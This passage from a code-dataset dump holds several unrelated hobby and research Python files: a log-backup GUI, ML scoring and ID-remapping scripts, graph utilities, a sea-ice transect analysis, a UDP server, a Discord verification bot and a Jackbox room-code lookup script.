бібліотека\\n+380685333241\")\n\n\nbot.polling()\n","repo_name":"h1fired/nfcntu-chatbot","sub_path":"bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6559,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20802892490","text":"# -*- coding:utf-8 -*-\n# author: Tommy Lee time:20220627\n\nimport os\nfrom shutil import copy2, copytree, ignore_patterns\nimport time, datetime\nimport glob\n#GUI\nimport tkinter as tk\nfrom tkinter import Label\nfrom tkinter import Button\nfrom tkinter import messagebox \n\n\n### [主程式码]\ndef event_handler():\n #需要备份并\"压缩\"的档案目录(1/2)\n source=r'D:/temp/daliy_backup/'\n #储存\"备份压缩档\"的位置(1/2)\n target_dir=r'D:/temp/daliy_backup/'\n\n messagebox.showinfo(\"INFO\", \"Starting backup = \" + myoptinDate.get(), detail=\"please wait for another window\")\n backup_logs()\n messagebox.showinfo(\"INFO\", \"Backup done!\", detail=\"backup date = \" + myoptinDate.get() + '\\n'+'backup path =' + target_dir + myoptinDate.get())\n\n### [时间比对]\n#抓出[这个目录]的[所有档案]:把[最后修改时间]和[自己选定的时间]配对档案丢出\ndef checkFilesTime_selectDate(ab_dir):\n target_xxx = ab_dir\n global file_list\n file_list =[]\n for f in os.listdir(target_xxx):\n t = time.localtime(os.path.getmtime(f'{target_xxx}\\{f}'))\n datetimeString = ''\n datetimeString += str(t.tm_year)\n datetimeString += str(t.tm_mon).zfill(2)\n datetimeString += str(t.tm_mday).zfill(2)\n # datetimeString += ' '\n # datetimeString += str(t.tm_hour).zfill(2)\n # datetimeString += ':'\n # datetimeString += str(t.tm_min).zfill(2)\n # datetimeString += ':'\n # datetimeString += str(t.tm_sec).zfill(2)\n myoptinDate_connect = \"{Y}{m}{d}\".format(Y=str(myoptinDate.get()[0:4]), m=str(myoptinDate.get()[5:7]), d=str(myoptinDate.get()[8:10])) \n\n if datetimeString == myoptinDate_connect: \n file_list += [f]\n return file_list\n\n#抓出[这个目录]的[所有档案]:把[今天的档案]丢出\ndef checkFilesTime_today(ab_dir):\n target_xxx = ab_dir\n global file_list\n file_list =[]\n for f in os.listdir(target_xxx):\n t = time.localtime(os.path.getmtime(f'{target_xxx}\\{f}'))\n datetimeString = ''\n datetimeString += str(t.tm_year)\n datetimeString += str(t.tm_mon).zfill(2)\n datetimeString += str(t.tm_mday).zfill(2)\n # datetimeString += ' '\n # datetimeString += str(t.tm_hour).zfill(2)\n # datetimeString += ':'\n # datetimeString += str(t.tm_min).zfill(2)\n # datetimeString += ':'\n # datetimeString += str(t.tm_sec).zfill(2)\n myoptinDate_connect_tmp = str(datetime.date.today())\n myoptinDate_connect = \"{Y}{m}{d}\".format(Y=str(myoptinDate_connect_tmp[0:4]), m=str(myoptinDate_connect_tmp[5:7]), d=str(myoptinDate_connect_tmp[8:10])) \n if datetimeString == myoptinDate_connect: \n file_list += [f]\n return file_list\n\n#[视窗]标题大小\nmainWin = tk.Tk()\n#[视窗]视窗标题\nmainWin.title(\"备份Logs小帮手[5天内]\")\n#[视窗]视窗大小\nmainWin.geometry(\"330x130\")\nmainWin['bg'] = 'white'\n#[视窗]定义myoptionmenu为近5天的日期,成为一个list的5个选项\nmyoptionmenuList = []\nfor a in range(5):\n myoption_tmp = datetime.date.today() - datetime.timedelta(days=a)\n myoption_str = myoption_tmp.strftime(\"%Y-%m-%d\")\n myoptionmenuList.append(myoption_str)\nmyoptinDate = tk.StringVar()\nmyoptinDate.set(myoptionmenuList[0])\n\n\n#[视窗]GUI Layout\nlabel1 = Label(mainWin, text=\"[Date] -- > \").grid(row=1,column=0)\nmyoptionmenu = tk.OptionMenu(mainWin, myoptinDate, *myoptionmenuList).grid(row=1,column=1)\n#[视窗]注释文字comment\nlabel2 = Label(mainWin, text=\"[Comment] ---> \").grid(row=2,column=0)\nmyentry = tk.Entry(mainWin)\nmyentry.grid(row=2,column=1)\n#[视窗]送出结果按钮\nsubmit_button = tk.Button(mainWin, text='[Start]', command=event_handler).grid(row=6,column=1)\n\n#[备份/压缩]备份程式码\ndef backup_logs():\n\n # 在Python的string前面加上‘r’, 是为了告诉编译器这个string是个raw string,\n # 不要转意backslash '\\' 。 例如,\\n 在raw string中,是两个字元,\\和n, \n # 而不会转意为换行符。由于正则表示式和 \\ 会有冲突,因此,当一个字串使用了正则表示式后,\n # 最好在前面加上'r'\n\n #需要备份并\"压缩\"的档案目录(2/2)\n source=r'D:/temp/daliy_backup/'\n #储存\"备份压缩档\"的位置(2/2)\n target_dir=r'D:/temp/daliy_backup/'\n \n #[备份位置]P_logs\n P_logs_dir=r'/P_logs'\n #[备份位置]E_logs\n E_logs_dir=r'/E_logs'\n #[备份位置]E_logs/GPU\n GPU_dir=r'/E_logs/GPU'\n #[备份位置]E_logs/IPED\n IPED_dir=r'/E_logs/IPED'\n #[备份位置]E_logs/TK\n TK_dir=r'/E_logs/ToolKit'\n #[备份位置]E_logs/SC\n SC_dir=r'/E_logs/SpiritConsole'\n #[备份位置]sensors\n sensors_dir=r'/Sensors'\n #[备份位置]exposure\n exposure_dir=r'/exposure'\n #[备份位置]efficiency\n efficiency_dir=r'/efficiency'\n\n #[备份位置]Screenshot\n screenShots_dir=r'/ScreenShots'\n \n\n #[原档位置]P_logs\n #ori_P_logs_dir=r'Z:/???'\n ori_P_logs_dir=r'D:/temp/Test_folder'\n\n #[原档位置]E_logs/GPU\n # ori_GPU_dir=r'E:/Logs/Gpu'\n ori_GPU_dir=r'D:/temp/Test_folder'\n\n # #[原档位置]E_logs/IPED_1\n # ori_IPED_dir=r'E:/Logs/IPED'\n ori_IPED_dir_1=r'D:/temp/Test_folder/archive'\n\n # #[原档位置]E_logs/IPED_2\n # ori_IPED_dir=r'E:/Logs/IPED/archive'\n ori_IPED_dir_2=r'D:/temp/Test_folder/'\n\n #[原档位置]E_logs/TK\n # ori_TK_dir=r'E:/Logs/Toolkit'\n ori_TK_dir=r'D:/temp/Test_folder'\n\n #[原档位置]E_logs/SC\n # ori_SC_dir=r'E:/Logs/SpiritConsole'\n ori_SC_dir=r'D:/temp/Test_folder'\n\n # #[原档位置]sensors\n # ori_sensors_dir=r'E:/Logs/Sensors'\n ori_sensors_dir=r'D:/temp/Test_folder/Sensors'\n\n # #[原档位置]exposure\n # ori_exposure_dir=r'E:/Logs/Exposure'\n # ori_exposure_dir=r'/exposure'\n\n # #[原档位置]efficiency\n # ori_efficiency_dir=r'E:/Logs/Efficiency'\n # ori_efficiency_dir=r'/efficiency'\n\n # #[原档位置]Screenshot\n # ori_screenShots_dir=r'C:/Users/DLine/Pictures/Screenshots'\n ori_screenShots_dir=r'D:/temp/Test_folder/Screenshot'\n\n\n\n # myoptinDate的格式转换\n myoptinDate_underLine = \"{Y}{c}{m}{c}{d}\".format(c=\"_\", Y=str(myoptinDate.get()[0:4]), m=str(myoptinDate.get()[5:7]), d=str(myoptinDate.get()[8:10]))\n myoptinDate_connect = \"{Y}{m}{d}\".format(Y=str(myoptinDate.get()[0:4]), m=str(myoptinDate.get()[5:7]), d=str(myoptinDate.get()[8:10])) \n\n #os.path.exists是判断档案是��存在\n if not os.path.exists(target_dir):\n os.mkdir(target_dir)\n #today即在target_dir路径下的资料夹名,用来存放当天的备份档案\n #time.strftime是将建立的zip归档档案的名字由当前日期和时间构成\n today=target_dir+myoptinDate.get()\n #now指备份档名字\n now=time.strftime('%H%M%S')\n\n if len(myentry.get())==0:\n target=today+'/'+ myoptinDate.get() + '_' + now+'.zip'\n else:\n target=today + '/' + myoptinDate.get() + '_' + now + '_' + myentry.get().replace(' ','_')+'.zip'\n #判断是否生成了名为today的资料夹\n if not os.path.exists(today):\n os.mkdir(today)\n\n # ===========================================================================================\n # E disk logs folder = E_logs_dir #创建E_logs目录\n if not os.path.exists(today+E_logs_dir):\n os.mkdir(today+E_logs_dir)\n \n # Production logs folder = P_logs\n if not os.path.exists(today+P_logs_dir):\n os.mkdir(today+P_logs_dir)\n # Python 的标准函式“glob”可以使用名称与路径的方式,查找出匹配条件的档案或资料夹,\n # 查找出档案后,搭配其他函式库 (例如 os 标准函式库) ,就能做到像是批次重新命名、批次删除...等的动作。\n pLogCopyFiles = glob.glob(os.path.join(ori_P_logs_dir+'/', \"Export - \"+str(myoptinDate.get())+\"-*.csv\"))\n for f in pLogCopyFiles:\n copy2(f, today+P_logs_dir)\n\n # GPU logs folder = GPU_dir\n if not os.path.exists(today+GPU_dir):\n os.mkdir(today+GPU_dir)\n # Python 的标准函式“glob”可以使用名称与路径的方式,查找出匹配条件的档案或资料夹,\n # 查找出档案后,搭配其他函式库 (例如 os 标准函式库) ,就能做到像是批次重新命名、批次删除...等的动作。\n gpuLogCopyFiles_1 = glob.glob(os.path.join(ori_GPU_dir+'/', \"GPUTransformer_\"+myoptinDate_underLine+\".*\"))\n for f in gpuLogCopyFiles_1:\n copy2(f, today+GPU_dir)\n gpuLogCopyFiles_2 = glob.glob(os.path.join(ori_GPU_dir+'/', \"GPUTransformerCorrectionGrid_\"+str(myoptinDate.get())+\".log\"))\n for f in gpuLogCopyFiles_2:\n copy2(f, today+GPU_dir) \n gpuLogCopyFiles_3 = glob.glob(os.path.join(ori_GPU_dir+'/', \"GRPCCommandstream_\"+myoptinDate_underLine+\".bin\"))\n for f in gpuLogCopyFiles_3:\n copy2(f, today+GPU_dir) \n\n # IPED logs folder = IPED_dir\n if not os.path.exists(today+IPED_dir):\n os.mkdir(today+IPED_dir)\n # Python 的标准函式“glob”可以使用名称与路径的方式,查找出匹配条件的档案或资料夹,\n # 查找出档案后,搭配其他函式库 (例如 os 标准函式库) ,就能做到像是批次重新命名、批次删除...等的动作。\n\n # 备份IPED/archive里的备份档\n dirPathPattern = ori_IPED_dir_1+r\"/IPEDRK_Errors_\" + myoptinDate_connect + r\"-*\" \n ipedLogCopyFiles_1 = glob.glob(dirPathPattern)\n for f in ipedLogCopyFiles_1:\n # f[-29:] 用来截取IPEDRK的目录名称\n copytree(f, today+IPED_dir+\"/\"+f[-29:])\n\n # 备份IPED里的档案\n ipedLogCopyFiles_2 = glob.glob(os.path.join(ori_IPED_dir_2, \"IPEDRK_*.*\"))\n for f in ipedLogCopyFiles_2:\n copy2(f, today+IPED_dir)\n\n # ToolKit logs folder = TK_dir\n if not os.path.exists(today+TK_dir):\n os.mkdir(today+TK_dir)\n # Python 的标准函式“glob”可以使用名称与路径的方式,查找出匹配条件的档案或资料夹,\n # 查找出档案后,搭配其他函式库 (例如 os 标准函式库) ,就能做到像是批次重新命名、批次删除...等的动作。\n tkLogCopyFiles = glob.glob(os.path.join(ori_TK_dir+'/', str(myoptinDate.get())+\"_spirit.*\"))\n for f in tkLogCopyFiles:\n copy2(f, today+TK_dir)\n\n # SpiritConsole logs folder = SC_dir\n if not os.path.exists(today+SC_dir):\n os.mkdir(today+SC_dir)\n scLogCopyFiles = glob.glob(os.path.join(ori_SC_dir+'/', str(myoptinDate.get())+\"_Spirit_*\"))\n for f in scLogCopyFiles:\n copy2(f, today+SC_dir)\n\n # Screenshots folder = screenShots_dir\n if not os.path.exists(today+screenShots_dir):\n os.mkdir(today+screenShots_dir)\n # 备份选定日期的所有screenshots\n checkFilesTime_selectDate(ori_screenShots_dir)\n for f in file_list:\n copy2(ori_screenShots_dir+\"/\"+f, today+screenShots_dir)\n # 备份今天的所有screenshots\n checkFilesTime_today(ori_screenShots_dir)\n for f in file_list:\n copy2(ori_screenShots_dir+\"/\"+f, today+screenShots_dir) \n\n # sensors folder = sensors_dir\n if not os.path.exists(today+sensors_dir):\n os.mkdir(today+sensors_dir)\n copy2(ori_sensors_dir+\"/sensors.tsv\", today+sensors_dir)\n copy2(ori_sensors_dir+\"/measurewheel.tsv\", today+sensors_dir)\n\n # exposure folder = exposure_dir\n if not os.path.exists(today+exposure_dir):\n os.mkdir(today+exposure_dir)\n copy2('C:/installAgent.log', today+exposure_dir)\n\n # efficiency folder = efficiency_dir\n if not os.path.exists(today+efficiency_dir):\n os.mkdir(today+efficiency_dir)\n copy2('C:/installAgent.log', today+efficiency_dir)\n\n # Copy档案到要备份的目录里\n # files = ['sensors.csv', 'file2.txt', 'file3.txt']\n # for f in files:\n # shutil.copy(f, 'my_new_folder')\n\n # 方法3:在cmd 命令中写入7z.exe所在的目录\n # zip_command = '\"C:\\\\Program Files\\\\7-Zip\\\\7z.exe\" a -tzip {0} {1} '.format(target,' '.join(source))\n os.chdir('C:/Program Files/7-Zip')\n zip_command = '7z a -tzip {0} {1}{2}'.format(target,''.join(source),''.join(myoptinDate.get()))\n print(zip_command)\n\n #是os.system函式是使zip_command命令从系统中执行,执行成功返回0,执行失败返回错误程式码\n if os.system(zip_command)==0:\n print('success')\n else:\n print('error')\n\nmainWin.mainloop()","repo_name":"callmehi/boo-vscode","sub_path":"Get_Start_WFH.py","file_name":"Get_Start_WFH.py","file_ext":"py","file_size_in_byte":12404,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11050095573","text":"from task_specific.sentence_level import sentence_level_scorer\n\n\nclass SentenceAccuracyScorer(sentence_level_scorer.SentenceLevelScorer):\n def __init__(self):\n super(SentenceAccuracyScorer, self).__init__()\n\n def _get_results(self):\n correct, count = 0, 0\n for example, preds in zip(self._examples, self._preds):\n y_true, y_pred = example.labels, preds\n count += 1\n correct += (1 if y_pred == y_true else 0)\n return [\n (\"accuracy\", 100.0 * correct / count),\n (\"loss\", self.get_loss())\n ]","repo_name":"hominhtri1/CVT","sub_path":"task_specific/sentence_level/sentence_classification_scorer.py","file_name":"sentence_classification_scorer.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6566293452","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport pandas as pd\nimport modeling as mdl\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport data_manipulation_v2 as dm\nimport os.path\nfrom os import listdir\n\ndef create_add_new_ids(force = 0):\n \"\"\"\n Create a new file only with numerical ids for all all users, instead of msno.\n This file can be then used to trace back\n\n Create new ids modified to take in new files\n \"\"\"\n if os.path.isfile('../new_ids_add.csv') and force == 0:\n print (\"File new_ids_add.csv already existed. Nothing created\")\n return False\n else:\n #Load Files\n new_id = pd.read_csv('../new_ids.csv')\n new_id_v2 = pd.read_csv('../new_ids_v2.csv')\n train = dm.train()\n \n #Assign msnos back to train files\n train = train.merge(new_id, on = 'new_id', how = 'inner')\n feb_churners_append = train[train['msno'].isin(new_id_v2['msno'])==False]['msno'].reset_index(name='msno')\n \n #Determine min and max new ids\n min_id=max(new_id_v2['new_id'])+1\n max_id=max(new_id_v2['new_id'])+feb_churners_append['msno'].nunique()+1\n \n feb_churners_append['new_id'] = range(min_id, max_id)\n\n feb_churners_append.to_csv('../new_ids_add.csv', index = False)\n print ('\\n\\tFile new_ids_add.csv created successfully!\\n\\t')\n\n return True\n \n\ndef save_files_add_ids(files = ['merged_transactions.csv', 'members.csv', 'train.csv'], prefix = 'add_', force = 0, force_userlog = 0):\n \"\"\"\n Function to save .csv files with the new numerical id (as opposed to msno).\n\n :files: list of files to replace ids\n :predix: string to add to new files\n :force: whether to overwrite in case new files already exist. 0 won't overwrite\n :force_userlog: whether to overwirte but for user_log split files. 0 won't overwrite\n\n Updated to read in members_v2.csv, train_v2.csv, sample_submission_v2.csv, and merged transactions file.\n Updated to read in user_logs_v2.csv file with headers.\n \"\"\"\n new_ids = pd.read_csv('../new_ids_add.csv')\n list_files = files\n\n for doc in list_files: \n if os.path.isfile('../' + prefix + doc) and force == 0:\n print ('File %s already existed. Nothing created' %(prefix+doc))\n pass\n else:\n print ('updating ids for file %s ......' %(doc))\n filex = pd.read_csv('../'+doc)\n filex = filex.merge(new_ids, left_on='msno', right_on ='msno', how='inner', copy = False).drop('msno', axis = 1)\n filex.to_csv('../'+prefix+doc, index = False)\n\n #user_log split files\n if force_userlog != 0:\n onlyfiles = [f for f in listdir('../user_log_files/') if os.path.isfile(os.path.join('../user_log_files/', f))]\n\n for doc in onlyfiles:\n if doc != '.DS_Store' and doc != 'user_logs.csv' and doc[0:len(prefix)] != prefix and doc[0:len(prefix)] != 'new_':\n print ('updating ids for file %s ......' %(doc))\n if (doc == 'user_logs0.csv')|(doc == 'user_logs_v2.csv'):\n filex = pd.read_csv('../user_log_files/'+doc)\n else:\n filex = pd.read_csv('../user_log_files/'+doc, header=None,\n names = [\n 'msno', 'date', 'num_25', 'num_50', 'num_75', 'num_985', 'num_100', 'num_unq', 'total_secs'\n ])\n filex = filex.merge(new_ids, left_on='msno', right_on ='msno', how='inner', copy = False).drop('msno', axis = 1)\n filex.to_csv('../user_log_files/'+prefix+doc, index = False)\n\n return True\n\n\nif __name__ == '__main__':\n \n #create_add_new_ids()\n save_files_add_ids(force_userlog=1)\n\n\n\n","repo_name":"calestini/Kcompetition","sub_path":"Old_train_recovery.py","file_name":"Old_train_recovery.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4024751862","text":"\"\"\"Creating instances and access to attributes.\"\"\"\n\n\nclass Employee:\n \"\"\"Common base class for all employees\"\"\"\n emp_count = 0\n\n def __init__(self, name, salary):\n self.name = name\n self.salary = salary\n Employee.emp_count += 1\n\n def display_count(self):\n print(\"Total Employee %d\" % self.emp_count)\n\n def display_employee(self):\n print(\"Name : \", self.name, \", Salary: \", self.salary)\n\n\n# \"First object of Employee class\"\nemp1 = Employee(\"Slave\", 200)\n\n# \"Second object of Employee class\"\nemp2 = Employee(\"Master\", 5000)\nemp1.display_employee()\nemp2.display_employee()\nprint(f\"Total Employee: {Employee.emp_count}\")","repo_name":"AleksNeStu/projects","sub_path":"code_tasks/EPAM/python_course/foundation-python/l5/m5-7.py","file_name":"m5-7.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40278371349","text":"import numpy as np\nimport testing_bagels.graphgen\nfrom numpy import linalg as ln\nimport itertools\n\ndef algebraic_connectivities(m1):\n data_list = list()\n for vector in m1:\n matrix = np.zeros((58,58))\n acc = 0\n for i in range(0, 58):\n for j in range(i+1, 58):\n matrix[i][j] = vector[acc]\n matrix[j][i] = vector[acc]\n acc = acc+1\n\n lap = calculate_laplacian_matrix(matrix)\n eigenvalues = ln.eig(lap)[0]\n data_list.append(sorted(eigenvalues)[1])\n\n return(data_list)\n\ndef biggest_eigenvalue(m1):\n return(abs(calculate_eigenvalues(m1)[0]))\n\ndef calculate_average_degree(m1):\n degrees = []\n for i in m1:\n non_zero = np.count_nonzero(i)\n degrees.append(non_zero)\n return(np.mean(degrees))\n\ndef calculate_average_distances(m1):\n distances = []\n for i in m1:\n distance = np.sum(i)\n distances.append(distance)\n return(np.mean(distances))\n\ndef calculate_biggest_eigengap(m1):\n eigs = calculate_eigenvalues(m1)\n maximum = 0\n for i in range(len(m1) - 1):\n gap = abs(eigs[i+1] - eigs[i])\n if gap > maximum:\n maximum = gap\n return(maximum)\n\ndef calculate_eigenvalues(m1):\n eigenmodes = ln.eig(m1)\n return(eigenmodes[0])\n\n\ndef eigenmode_volume(m1):\n eigenmodes = ln.eig(m1)\n phi = np.column_stack(eigenmodes[1])\n return(np.dot(np.transpose(phi), calculate_degree_vector(m1)))\n\ndef count_adjacents(vec):\n count = 0\n\n for i in vec:\n count = sum(i)\n\n\n return count\n\n\n\ndef calculate_weighted_degree_matrix(m1):\n dim = len(m1)\n w_degree_matrix = [[sum(x) for x in m1[y]] for y in range(dim)]\n return(w_degree_matrix)\n\ndef if_zero(x):\n if x == 0:\n return 0\n else:\n return 1\n\ndef calculate_adjacency_matrix(m1):\n for row in m1:\n for element in row:\n print(element)\n adj_m = np.matrix([[if_zero(x) for x in m1[y]] for y in range(len(m1))])\n return(adj_m)\n\ndef calculate_degree_matrix(m1):\n diagonal_degrees = []\n for row in m1:\n diagonal_degrees.append(np.sum(np.sum(row)))\n print(np.sum(np.sum(row)))\n degree_matrix = np.diag(np.diag(diagonal_degrees))\n\n return(degree_matrix)\n\n\"\"\"\ndef calculate_laplacian_matrix(m1):\n\n ds = calculate_degree_matrix(m1)\n ads = calculate_adjacency_matrix(m1)\n lap_mat = np.subtract(ds, ads)\n\n return(lap_mat)\n\"\"\"\ndef calculate_laplacian_matrix(m1):\n degree_matrix = np.zeros((58,58))\n for i in range(0, len(m1)):\n degree = sum(m1[i])\n degree_matrix[i,i] = degree\n\n laplacian_matrix = np.subtract(degree_matrix, m1)\n\n return(laplacian_matrix)\n\n\ndef normalised_laplacian_matrix(m1):\n d = calculate_degree_matrix(m1)\n lap_mat = calculate_laplacian_matrix(m1)\n\n d_minus = np.sqrt(ln.inv(d))\n normalised_lap_mat = np.dot(d_minus, np.dot(lap_mat, d_minus))\n return(normalised_lap_mat)\n\ndef smallest_eigenvalue(m1):\n return(abs(min(calculate_eigenvalues(m1))))\n\ndef average_eigenvalue(m1):\n return(np.mean(calculate_eigenvalues(m1)))\n\ndef embed(m1):\n vec = [calculate_average_distances(m1),\n calculate_biggest_eigengap(m1), abs(algebraic_connectivity(m1))]\n return(vec)\n","repo_name":"baby-age/testing-bagels","sub_path":"testing_bagels/embedder.py","file_name":"embedder.py","file_ext":"py","file_size_in_byte":3247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25723141896","text":"import numpy as np\nfrom glob import glob\nfrom tt_func import getColumn\nimport matplotlib.pyplot as plt\nfrom datetime import datetime, timedelta\n\n#get the N-ICE transect data, make PDFs of snow depth and total ice thickness\n#get mean/mode ice thickness by subtracting mean snow depth from it\n\n#make time series for fF, tS, tmix, i (special)\n\n#time span: 15/1/2015 to 21/6\n\ninpath_mp='../data/N-ICE/N-ICE2015_MP_v1/edited/'\ninpath_em='../data/N-ICE/N-ICE2015_EM31_v1/edited/'\n\noutpath='../data/N-ICE/'\nfile_ts=outpath+'ts_nice.csv'\n\n##fix empty line problem\n##some manual cleaning will still be necessary...\n#fnames=sorted(glob(inpath_mp+'*.txt'))\n#import csv\n#for fname in fnames:\n #outname=fname.split('.txt')[0]+'.csv'\n #with open(fname) as in_file:\n #with open(outname, 'w') as out_file:\n #writer = csv.writer(out_file)\n #for row in csv.reader(in_file):\n #if row:\n #writer.writerow(row)\n\n\n\n#snow time series\ndt_snow=[]\nm_snow=[]\nstd_snow=[]\nttype=[] #transect type\n\nfnames=sorted(glob(inpath_mp+'*.csv'))\n\nfor fname in fnames:\n print(fname)\n date=fname.split('/')[-1].split('_MP')[0]\n print(date)\n dt_snow.append(date)\n \n tt=fname.split('_')[-1].split('.')[0]\n ttype.append(tt)\n\n snod=getColumn(fname,2,delimiter=' ')\n #print(snod)\n snod = np.array(snod,dtype=np.float)/100 #convert to meters\n #print(snod)\n m = np.mean(np.ma.masked_invalid(snod))\n std = np.std(np.ma.masked_invalid(snod))\n print(m)\n m_snow.append(m)\n std_snow.append(std)\n \n \n#print(ttype) \n\n##fix empty line problem\n##some manual cleaning will still be necessary...\n#fnames=sorted(glob(inpath_em+'*.txt'))\n#import csv\n#for fname in fnames:\n #outname=fname.split('.txt')[0]+'.csv'\n #with open(fname) as in_file:\n #with open(outname, 'w') as out_file:\n #writer = csv.writer(out_file)\n #for row in csv.reader(in_file):\n #if row:\n #writer.writerow(row)\n#exit()\n\n\n#ice time series\ndt_ice=[]\nm_ice=[]\nstd_ice=[]\nmo_ice=[]\nirbins = np.arange(0,3,.06)\nttype_ice=[] #transect type\n\nfnames=sorted(glob(inpath_em+'*.csv'))\n\nfor fname in fnames:\n print(fname)\n date=fname.split('/')[-1].split('L')[0].split('_')[0]\n print(date)\n dt_ice.append(date)\n \n tt=fname.split('_')[-1].split('.csv')[0]\n ttype_ice.append(tt)\n\n it=getColumn(fname,2,delimiter=',')\n #print(it)\n it = np.array(it,dtype=np.float)\n #print(it)\n m = np.mean(np.ma.masked_invalid(it))\n std = np.std(np.ma.masked_invalid(it))\n print(m)\n \n #find mode\n it_pos = np.ma.masked_invalid(it)\n hist = np.histogram(it_pos,bins=irbins)\n srt = np.argsort(hist[0]) #indexes that would sort the array\n mm = srt[-1] #same as: np.argmax(hist[0])\n mm1 = np.argmax(hist[0])\n mo = (hist[1][mm] + hist[1][mm+1])/2 #take mean of the bin for the mode value\n print(mo)\n \n m_ice.append(m)\n std_ice.append(std)\n mo_ice.append(mo)\n\n\n\n#match these dates - if we want to subtract snow mean from ice!\n#print(dt_snow)\n#print(dt_ice)\n#print(ttype)\n#print(ttype_ice)\n\ndt_snow = [ datetime.strptime(x, '%Y_%m_%d') for x in dt_snow ]\ndt_ice = [ datetime.strptime(x, '%Y%m%d') for x in dt_ice ]\n\ndt_combi=[]\nm_snow_combi=[]\nstd_snow_combi=[]\nm_ice_combi=[]\nmo_ice_combi=[]\nstd_ice_combi=[]\nttype_combi=[]\n\n#select transects with matching date and transect type!\nfor i in range(0,len(dt_snow)):\n #print(dt_snow[i])\n #print(ttype[i])\n for m in range(0,len(dt_ice)):\n if dt_snow[i]==dt_ice[m] and ttype[i]==ttype_ice[m]:\n print('match',dt_ice[m],ttype_ice[m])\n dt_combi.append(dt_snow[i])\n ttype_combi.append(ttype[i])\n m_snow_combi.append(m_snow[i])\n std_snow_combi.append(std_snow[i])\n m_ice_combi.append(m_ice[m])\n std_ice_combi.append(std_ice[m]) \n mo_ice_combi.append(mo_ice[m])\n\n\n#print(len(std_snow_combi))\n#print(len(m_snow_combi))\n#print(len(dt_combi))\n\nplt.errorbar(dt_combi,m_snow_combi,std_snow_combi, linestyle='None', marker='o')\nplt.errorbar(dt_combi,m_ice_combi,std_ice_combi, linestyle='None', marker='o',label='mean')\nplt.plot(dt_combi,mo_ice_combi,'o',label='mode')\nplt.legend()\nplt.show()\n\n\n#time series text file exports\ntt = [dt_combi,ttype_combi,m_snow_combi,std_snow_combi,m_ice_combi,std_ice_combi,mo_ice_combi]\ntable = list(zip(*tt))\n\nprint(file_ts)\nwith open(file_ts, 'wb') as f:\n #header\n f.write(b'Date, transect type, snow depth mean, snow depth SD, total thickness mean, total thickness SD, total thickness mode\\n')\n np.savetxt(f, table, fmt=\"%s\", delimiter=\",\")\n","repo_name":"loniitkina/tt_tools","sub_path":"tt_nice.py","file_name":"tt_nice.py","file_ext":"py","file_size_in_byte":4763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23860448542","text":"import socket\nimport time\n\nip = \"127.0.0.1\"\nport = 5005\nserver = (ip,port)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nsock.bind(server)\n\nwhile True:\n data, addr = sock.recvfrom(1024)\n\n print(\"Pesan :\", data)\n print(\"Dari ->\", addr)","repo_name":"marde12345/progjare2019","sub_path":"Tugas 2/udpserver.py","file_name":"udpserver.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36854848789","text":"#!/usr/bin/python3.6\n\nimport discord\nfrom datetime import datetime\nimport pytz\n\nTOKEN = \"hidden\"\n\nclient = discord.Client()\n\n\n@client.event\nasync def on_message(message):\n msg = message.content\n author = message.author\n channel = message.channel\n server = message.server\n\n if author == client.user:\n return\n\n verify_channel = discord.utils.get(server.channels, name=\"verify\")\n\n if verify_channel is None:\n await client.send_message(server.owner, \"**Error**: There is no channel named \\\"verify\\\" in your server, \" +\n server.name + \"! Please add one so that users can be verified.\")\n return\n\n if channel.id == verify_channel.id:\n\n if msg.lower().strip() == \"verify\":\n verified_role = discord.utils.get(server.roles, name=\"Verified\")\n if verified_role is not None:\n await client.add_roles(author, verified_role)\n print(\"Verified user \" + author.name + \" (ID: \" + author.id + \") in server \" +\n server.name + \" (ID: \" + server.id + \")\")\n else:\n await client.send_message(server.owner, \"**Error**: There is no role named \\\"Verified\\\" in your \" +\n \"server, \" + server.name + \"! Please add one so that \"\n \"users can be verified.\")\n\n await client.delete_message(message)\n\n return\n\n\n@client.event\nasync def on_ready():\n date_format = '%I:%M:%S %p'\n date = datetime.now(tz=pytz.utc).astimezone(pytz.timezone('US/Pacific'))\n time = date.strftime(date_format)\n\n msg1 = \"Logged in as \" + str(client.user.name) + \" with ID \" + \\\n str(client.user.id) + \" at \" + str(time) + \".\"\n print(msg1)\n print(\"-\" * len(msg1))\n print(\"Logs/Errors:\")\n\n game = discord.Game(name=\"the verification game\")\n await client.change_presence(game=game)\n\nprint(\"Starting up VerifyBot...\")\n\nclient.run(TOKEN)\n\nclient.loop.run_until_complete(client.logout())\n","repo_name":"burgerhex/verifyBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17313233327","text":"import requests\nfrom itertools import product\nimport sys\nimport time\nimport datetime\n\nbase_url = \"https://blobcast.jackboxgames.com/room/\"\n\n\ndef test_room_code(codes):\n #Iterate through all the variations of the code\n for code in codes:\n try:\n jackbox_url = base_url + str(code)\n r = requests.get(url=jackbox_url)\n data = r.json()\n #If a match is found\n if r.status_code == 200:\n room_row = str(data['roomid'])\n #No match found\n else:\n room_row = '====='\n print(room_row)\n except:\n print(\"EXCEPTION OCCURED - Jackbox end\")\n\ndef main():\n #Get user input from arguments\n three_letter_code = sys.argv[1]\n chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n room_codes = []\n #Generate all room codes based on the first 3 letters streamer gives\n for i in chars:\n room_codes += [three_letter_code + i]\n #Call main 